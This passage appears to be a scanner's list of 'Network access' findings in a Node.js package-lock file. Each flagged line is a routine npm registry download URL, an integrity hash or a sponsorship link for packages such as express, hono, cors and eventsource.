    "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
  • Network accessline 222
    "node_modules/body-parser": {       "version": "2.3.0",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",
  • Network accessline 223
    "version": "2.3.0",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",       "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==",
  • Network accessline 224
    "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",
  • Network accessline 241
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 242
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 243
    "url": "https://opencollective.com/express"
  • Network accessline 246
    "node_modules/body-parser/node_modules/content-type": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 247
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",       "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==",
  • Network accessline 248
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 254
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 255
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 256
    "url": "https://opencollective.com/express"
  • Network accessline 259
    "node_modules/bytes": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 260
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",       "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
  • Network accessline 261
    "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 268
    "node_modules/call-bind-apply-helpers": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 269
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",       "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM
  • Network accessline 270
    "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 281
    "node_modules/call-bound": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 282
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",       "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
  • Network accessline 283
    "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 292
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 293
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 294
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 297
    "node_modules/call-me-maybe": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-me-maybe/-/call-me-maybe-1.0.2.tgz",
  • Network accessline 298
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-me-maybe/-/call-me-maybe-1.0.2.tgz",       "integrity": "sha512-HpX65o1Hnr9HH25ojC1YGs7HCQLq0GCOibSaWER0eNpgJ/Z1MZv2mTc7+xh6WOPxbRVcmgbv4hGU+uSQ/2xFZQ==",
  • Network accessline 299
    "resolved": "https://registry.npmjs.org/call-me-maybe/-/call-me-maybe-1.0.2.tgz",
  • Network accessline 303
    "node_modules/content-disposition": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",
  • Network accessline 304
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",       "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==",
  • Network accessline 305
    "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",
  • Network accessline 311
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 312
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 313
    "url": "https://opencollective.com/express"
  • Network accessline 316
    "node_modules/content-type": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 317
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",       "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
  • Network accessline 318
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 325
    "node_modules/cookie": {       "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 326
    "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",       "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
  • Network accessline 327
    "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 334
    "node_modules/cookie-signature": {       "version": "1.2.2",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
  • Network accessline 335
    "version": "1.2.2",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",       "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==",
  • Network accessline 336
    "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
  • Network accessline 343
    "node_modules/cors": {       "version": "2.8.6",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
  • Network accessline 344
    "version": "2.8.6",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",       "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==",
  • Network accessline 345
    "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
  • Network accessline 355
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 356
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 357
    "url": "https://opencollective.com/express"
  • Network accessline 360
    "node_modules/cross-spawn": {       "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 361
    "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",       "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
  • Network accessline 362
    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 374
    "node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 375
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 376
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 391
    "node_modules/depd": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 392
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",       "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
  • Network accessline 393
    "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 400
    "node_modules/dunder-proto": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 401
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",       "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
  • Network accessline 402
    "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 414
    "node_modules/ee-first": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 415
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",       "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
  • Network accessline 416
    "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 420
    "node_modules/encodeurl": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
  • Network accessline 421
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",       "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
  • Network accessline 422
    "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
  • Network accessline 429
    "node_modules/es-define-property": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
  • Network accessline 430
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",       "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
  • Network accessline 431
    "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
  • Network accessline 438
    "node_modules/es-errors": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
  • Network accessline 439
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",       "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
  • Network accessline 440
    "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
  • Network accessline 447
    "node_modules/es-object-atoms": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
  • Network accessline 448
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",       "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==",
  • Network accessline 449
    "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
  • Network accessline 459
    "node_modules/escape-html": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
  • Network accessline 460
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",       "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
  • Network accessline 461
    "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
  • Network accessline 465
    "node_modules/esprima": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
  • Network accessline 466
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",       "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
  • Network accessline 467
    "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
  • Network accessline 478
    "node_modules/etag": {       "version": "1.8.1",       "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
  • Network accessline 479
    "version": "1.8.1",       "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",       "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
  • Network accessline 480
    "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
  • Network accessline 487
    "node_modules/eventsource": {       "version": "3.0.7",       "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz",
  • Network accessline 488
    "version": "3.0.7",       "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz",       "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==",
  • Network accessline 489
    "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz",
  • Network accessline 499
    "node_modules/eventsource-parser": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz",
  • Network accessline 500
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz",       "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==",
  • Network accessline 501
    "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz",
  • Network accessline 508
    "node_modules/express": {       "version": "5.2.1",       "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz",
  • Network accessline 509
    "version": "5.2.1",       "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz",       "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==",
  • Network accessline 510
    "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz",
  • Network accessline 546
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 547
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 548
    "url": "https://opencollective.com/express"
  • Network accessline 551
    "node_modules/express-rate-limit": {       "version": "8.7.0",       "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.7.0.tgz",
  • Network accessline 552
    "version": "8.7.0",       "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.7.0.tgz",       "integrity": "sha512-hOwV7WOxXfjRpAM1DSJWZDXx3GhplwD8IfwuwvogD8i1Qnkgosw/H45s4ZnFAUHDAhPjlY9hLBvJhKmGMyY26g==",
  • Network accessline 553
    "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.7.0.tgz",
  • Network accessline 562
    },       "funding": {         "url": "https://github.com/sponsors/express-rate-limit"
  • Network accessline 563
    "funding": {         "url": "https://github.com/sponsors/express-rate-limit"       },
  • Network accessline 564
    "url": "https://github.com/sponsors/express-rate-limit"
  • Network accessline 570
    "node_modules/fast-deep-equal": {       "version": "3.1.3",       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
  • Network accessline 571
    "version": "3.1.3",       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",       "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
  • Network accessline 572
    "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
  • Network accessline 576
    "node_modules/fast-uri": {       "version": "3.1.8",       "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz",
  • Network accessline 577
    "version": "3.1.8",       "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz",       "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==",
  • Network accessline 578
    "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz",
  • Network accessline 581
    {           "type": "github",           "url": "https://github.com/sponsors/fastify"
  • Network accessline 582
    "type": "github",           "url": "https://github.com/sponsors/fastify"         },
  • Network accessline 583
    "url": "https://github.com/sponsors/fastify"
  • Network accessline 585
    {           "type": "opencollective",           "url": "https://opencollective.com/fastify"
  • Network accessline 586
    "type": "opencollective",           "url": "https://opencollective.com/fastify"         }
  • Network accessline 587
    "url": "https://opencollective.com/fastify"
  • Network accessline 592
    "node_modules/finalhandler": {       "version": "2.1.1",       "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz",
  • Network accessline 593
    "version": "2.1.1",       "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz",       "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==",
  • Network accessline 594
    "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz",
  • Network accessline 608
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 609
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 610
    "url": "https://opencollective.com/express"
  • Network accessline 613
    "node_modules/format-util": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/format-util/-/format-util-1.0.5.tgz",
  • Network accessline 614
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/format-util/-/format-util-1.0.5.tgz",       "integrity": "sha512-varLbTj0e0yVyRpqQhuWV+8hlePAgaoFRhNFj50BNjEIrw1/DphHSObtqwskVCPWNgzwPoQrZAbfa/SBiicNeg==",
  • Network accessline 615
    "resolved": "https://registry.npmjs.org/format-util/-/format-util-1.0.5.tgz",
  • Network accessline 619
    "node_modules/forwarded": {       "version": "0.2.0",       "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
  • Network accessline 620
    "version": "0.2.0",       "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",       "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
  • Network accessline 621
    "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
  • Network accessline 628
    "node_modules/fresh": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz",
  • Network accessline 629
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz",       "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==",
  • Network accessline 630
    "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz",
  • Network accessline 637
    "node_modules/function-bind": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 638
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
  • Network accessline 639
    "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 641
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 642
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 643
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 646
    "node_modules/get-intrinsic": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
  • Network accessline 647
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",       "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
  • Network accessline 648
    "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
  • Network accessline 665
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 666
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 667
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 670
    "node_modules/get-proto": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
  • Network accessline 671
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",       "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
  • Network accessline 672
    "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
  • Network accessline 683
    "node_modules/gopd": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
  • Network accessline 684
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",       "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
  • Network accessline 685
    "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
  • Network accessline 690
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 691
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 692
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 695
    "node_modules/has-symbols": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 696
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",       "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
  • Network accessline 697
    "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 702
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 703
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 704
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 707
    "node_modules/hasown": {       "version": "2.0.4",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
  • Network accessline 708
    "version": "2.0.4",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",       "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==",
  • Network accessline 709
    "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
  • Network accessline 719
    "node_modules/hono": {       "version": "4.13.7",       "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.7.tgz",
  • Network accessline 720
    "version": "4.13.7",       "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.7.tgz",       "integrity": "sha512-c8/gF9ac8Y78/agExVocyLevgR+JlpNB444Py0FSX8pJoPdYUfUzRcXtYEYGwt6l19qIlVZPN5Mfsw9jFShmQQ==",
  • Network accessline 721
    "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.7.tgz",
  • Network accessline 728
    "node_modules/http-errors": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 729
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",       "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
  • Network accessline 730
    "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 743
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 744
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 745
    "url": "https://opencollective.com/express"
  • Network accessline 748
    "node_modules/iconv-lite": {       "version": "0.7.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
  • Network accessline 749
    "version": "0.7.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",       "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==",
  • Network accessline 750
    "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
  • Network accessline 759
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 760
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 761
    "url": "https://opencollective.com/express"
  • Network accessline 764
    "node_modules/inherits": {       "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 765
    "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",       "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
  • Network accessline 766
    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 770
    "node_modules/ip-address": {       "version": "10.7.4",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.4.tgz",
  • Network accessline 771
    "version": "10.7.4",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.4.tgz",       "integrity": "sha512-DWBMKyeM25D70nrIiTkgQth59/G+naKOTep6huF9j+GmeK3DMD60Zvxg5d5qQnz+38AHgou6ean2LECX+lrKDg==",
  • Network accessline 772
    "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.4.tgz",
  • Network accessline 779
    "node_modules/ipaddr.js": {       "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 780
    "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",       "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
  • Network accessline 781
    "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 788
    "node_modules/is-promise": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
  • Network accessline 789
